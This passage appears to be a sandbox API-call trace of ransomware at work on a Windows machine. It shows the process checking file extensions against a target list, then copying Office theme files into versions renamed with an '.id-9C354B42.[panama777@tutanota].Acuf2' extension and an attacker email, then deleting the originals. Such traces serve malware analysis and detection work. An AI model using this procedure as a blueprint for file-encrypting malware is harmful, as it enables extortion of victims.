	[0257.816] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.816] lstrlenW (lpString=".pdf") returned 4
	[0257.816] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.816] lstrlenW (lpString=".xls") returned 4
	[0257.816] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.817] lstrlenW (lpString=".xlsx") returned 5
	[0257.817] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.817] lstrlenW (lpString=".ppt") returned 4
	[0257.817] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78
	[0257.817] lstrlenW (lpString=".zip") returned 4
	[0257.817] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.817] lstrlenW (lpString=".rar") returned 4
	[0257.817] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.817] lstrlenW (lpString=".bz2") returned 4
	[0257.817] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.817] lstrlenW (lpString=".7z") returned 3
	[0257.817] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78
	[0257.817] lstrlenW (lpString=".dbf") returned 4
	[0257.817] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78
	[0257.817] lstrlenW (lpString=".1cd") returned 4
	[0257.817] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78
	[0257.817] lstrlenW (lpString=".jpg") returned 4
	[0257.817] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.817] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0257.817] lstrlenW (lpString="Opulent.eftx") returned 12
	[0257.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0257.850] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=32857) returned 1
	[0257.850] CloseHandle (hObject=0x338) returned 1
	[0257.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx")) returned 0x20
	[0257.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0257.850] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.850] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0257.851] GetLastError () returned 0x0
	[0257.851] ReadFile (in: hFile=0x338, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x8059, lpOverlapped=0x0) returned 1
	[0257.853] WriteFile (in: hFile=0x350, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x8060, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x8060, lpOverlapped=0x0) returned 1
	[0257.855] ReadFile (in: hFile=0x338, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.855] WriteFile (in: hFile=0x350, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0257.855] SetEndOfFile (hFile=0x350) returned 1
	[0257.855] CloseHandle (hObject=0x350) returned 1
	[0257.855] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.855] SetEndOfFile (hFile=0x338) returned 1
	[0257.857] CloseHandle (hObject=0x338) returned 1
	[0257.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.858] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx")) returned 1
	[0257.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79
	[0257.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79
	[0257.858] lstrlenW (lpString=".doc") returned 4
	[0257.858] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.858] lstrlenW (lpString=".docx") returned 5
	[0257.858] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.858] lstrlenW (lpString=".pdf") returned 4
	[0257.858] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.858] lstrlenW (lpString=".xls") returned 4
	[0257.858] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.858] lstrlenW (lpString=".xlsx") returned 5
	[0257.858] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.858] lstrlenW (lpString=".ppt") returned 4
	[0257.858] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79
	[0257.858] lstrlenW (lpString=".zip") returned 4
	[0257.858] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.858] lstrlenW (lpString=".rar") returned 4
	[0257.858] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.858] lstrlenW (lpString=".bz2") returned 4
	[0257.858] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.858] lstrlenW (lpString=".7z") returned 3
	[0257.858] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79
	[0257.859] lstrlenW (lpString=".dbf") returned 4
	[0257.859] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79
	[0257.859] lstrlenW (lpString=".1cd") returned 4
	[0257.859] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79
	[0257.859] lstrlenW (lpString=".jpg") returned 4
	[0257.859] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79
	[0257.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79
	[0257.859] lstrlenW (lpString=".doc") returned 4
	[0257.859] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.859] lstrlenW (lpString=".docx") returned 5
	[0257.859] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.859] lstrlenW (lpString=".pdf") returned 4
	[0257.859] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.859] lstrlenW (lpString=".xls") returned 4
	[0257.859] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.859] lstrlenW (lpString=".xlsx") returned 5
	[0257.859] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.859] lstrlenW (lpString=".ppt") returned 4
	[0257.859] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79
	[0257.859] lstrlenW (lpString=".zip") returned 4
	[0257.859] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.859] lstrlenW (lpString=".rar") returned 4
	[0257.859] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.859] lstrlenW (lpString=".bz2") returned 4
	[0257.859] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.859] lstrlenW (lpString=".7z") returned 3
	[0257.860] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79
	[0257.860] lstrlenW (lpString=".dbf") returned 4
	[0257.860] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79
	[0257.860] lstrlenW (lpString=".1cd") returned 4
	[0257.860] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79
	[0257.860] lstrlenW (lpString=".jpg") returned 4
	[0257.860] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.860] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0257.860] lstrlenW (lpString="Origin.eftx") returned 11
	[0257.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0257.861] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=40941) returned 1
	[0257.861] CloseHandle (hObject=0x338) returned 1
	[0257.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx")) returned 0x20
	[0257.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0257.861] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.861] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0257.862] GetLastError () returned 0x0
	[0257.862] ReadFile (in: hFile=0x338, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x9fed, lpOverlapped=0x0) returned 1
	[0257.864] WriteFile (in: hFile=0x350, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x9ff0, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x9ff0, lpOverlapped=0x0) returned 1
	[0257.866] ReadFile (in: hFile=0x338, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.866] WriteFile (in: hFile=0x350, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xea, lpOverlapped=0x0) returned 1
	[0257.866] SetEndOfFile (hFile=0x350) returned 1
	[0257.866] CloseHandle (hObject=0x350) returned 1
	[0257.866] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.866] SetEndOfFile (hFile=0x338) returned 1
	[0257.868] CloseHandle (hObject=0x338) returned 1
	[0257.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.869] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx")) returned 1
	[0257.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78
	[0257.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78
	[0257.869] lstrlenW (lpString=".doc") returned 4
	[0257.869] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.869] lstrlenW (lpString=".docx") returned 5
	[0257.869] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.869] lstrlenW (lpString=".pdf") returned 4
	[0257.869] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.869] lstrlenW (lpString=".xls") returned 4
	[0257.869] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.869] lstrlenW (lpString=".xlsx") returned 5
	[0257.869] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.869] lstrlenW (lpString=".ppt") returned 4
	[0257.869] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78
	[0257.869] lstrlenW (lpString=".zip") returned 4
	[0257.869] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.869] lstrlenW (lpString=".rar") returned 4
	[0257.870] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.870] lstrlenW (lpString=".bz2") returned 4
	[0257.870] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.870] lstrlenW (lpString=".7z") returned 3
	[0257.870] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78
	[0257.870] lstrlenW (lpString=".dbf") returned 4
	[0257.870] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78
	[0257.870] lstrlenW (lpString=".1cd") returned 4
	[0257.870] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78
	[0257.870] lstrlenW (lpString=".jpg") returned 4
	[0257.870] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78
	[0257.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78
	[0257.870] lstrlenW (lpString=".doc") returned 4
	[0257.870] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.870] lstrlenW (lpString=".docx") returned 5
	[0257.870] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.870] lstrlenW (lpString=".pdf") returned 4
	[0257.870] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.870] lstrlenW (lpString=".xls") returned 4
	[0257.870] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.870] lstrlenW (lpString=".xlsx") returned 5
	[0257.870] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.870] lstrlenW (lpString=".ppt") returned 4
	[0257.870] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78
	[0257.870] lstrlenW (lpString=".zip") returned 4
	[0257.871] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.871] lstrlenW (lpString=".rar") returned 4
	[0257.871] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.871] lstrlenW (lpString=".bz2") returned 4
	[0257.871] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.871] lstrlenW (lpString=".7z") returned 3
	[0257.871] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78
	[0257.871] lstrlenW (lpString=".dbf") returned 4
	[0257.871] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78
	[0257.871] lstrlenW (lpString=".1cd") returned 4
	[0257.871] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78
	[0257.871] lstrlenW (lpString=".jpg") returned 4
	[0257.871] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.871] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0257.871] lstrlenW (lpString="Paper.eftx") returned 10
	[0257.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0257.873] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=228746) returned 1
	[0257.873] CloseHandle (hObject=0x338) returned 1
	[0257.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx")) returned 0x20
	[0257.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0257.873] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.873] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0257.873] GetLastError () returned 0x0
	[0257.873] ReadFile (in: hFile=0x338, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x37d8a, lpOverlapped=0x0) returned 1
	[0257.880] WriteFile (in: hFile=0x350, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x37d90, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x37d90, lpOverlapped=0x0) returned 1
	[0258.102] ReadFile (in: hFile=0x338, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.102] WriteFile (in: hFile=0x350, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0258.102] SetEndOfFile (hFile=0x350) returned 1
	[0258.102] CloseHandle (hObject=0x350) returned 1
	[0258.102] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.102] SetEndOfFile (hFile=0x338) returned 1
	[0258.108] CloseHandle (hObject=0x338) returned 1
	[0258.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0258.108] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx")) returned 1
	[0258.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77
	[0258.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77
	[0258.108] lstrlenW (lpString=".doc") returned 4
	[0258.108] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0258.108] lstrlenW (lpString=".docx") returned 5
	[0258.108] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0258.108] lstrlenW (lpString=".pdf") returned 4
	[0258.108] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0258.108] lstrlenW (lpString=".xls") returned 4
	[0258.108] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0258.108] lstrlenW (lpString=".xlsx") returned 5
	[0258.108] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0258.108] lstrlenW (lpString=".ppt") returned 4
	[0258.108] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0258.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77
	[0258.109] lstrlenW (lpString=".zip") returned 4
	[0258.109] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0258.109] lstrlenW (lpString=".rar") returned 4
	[0258.109] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0258.109] lstrlenW (lpString=".bz2") returned 4
	[0258.109] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0258.109] lstrlenW (lpString=".7z") returned 3
	[0258.109] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0258.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77
	[0258.109] lstrlenW (lpString=".dbf") returned 4
	[0258.109] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0258.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77
	[0258.109] lstrlenW (lpString=".1cd") returned 4
	[0258.109] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0258.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77
	[0258.109] lstrlenW (lpString=".jpg") returned 4
	[0258.109] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0258.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77
	[0258.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77
	[0258.109] lstrlenW (lpString=".doc") returned 4
	[0258.109] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0258.109] lstrlenW (lpString=".docx") returned 5
	[0258.109] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0258.109] lstrlenW (lpString=".pdf") returned 4
	[0258.109] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0258.109] lstrlenW (lpString=".xls") returned 4
	[0258.109] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0258.109] lstrlenW (lpString=".xlsx") returned 5
	[0258.109] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0258.109] lstrlenW (lpString=".ppt") returned 4
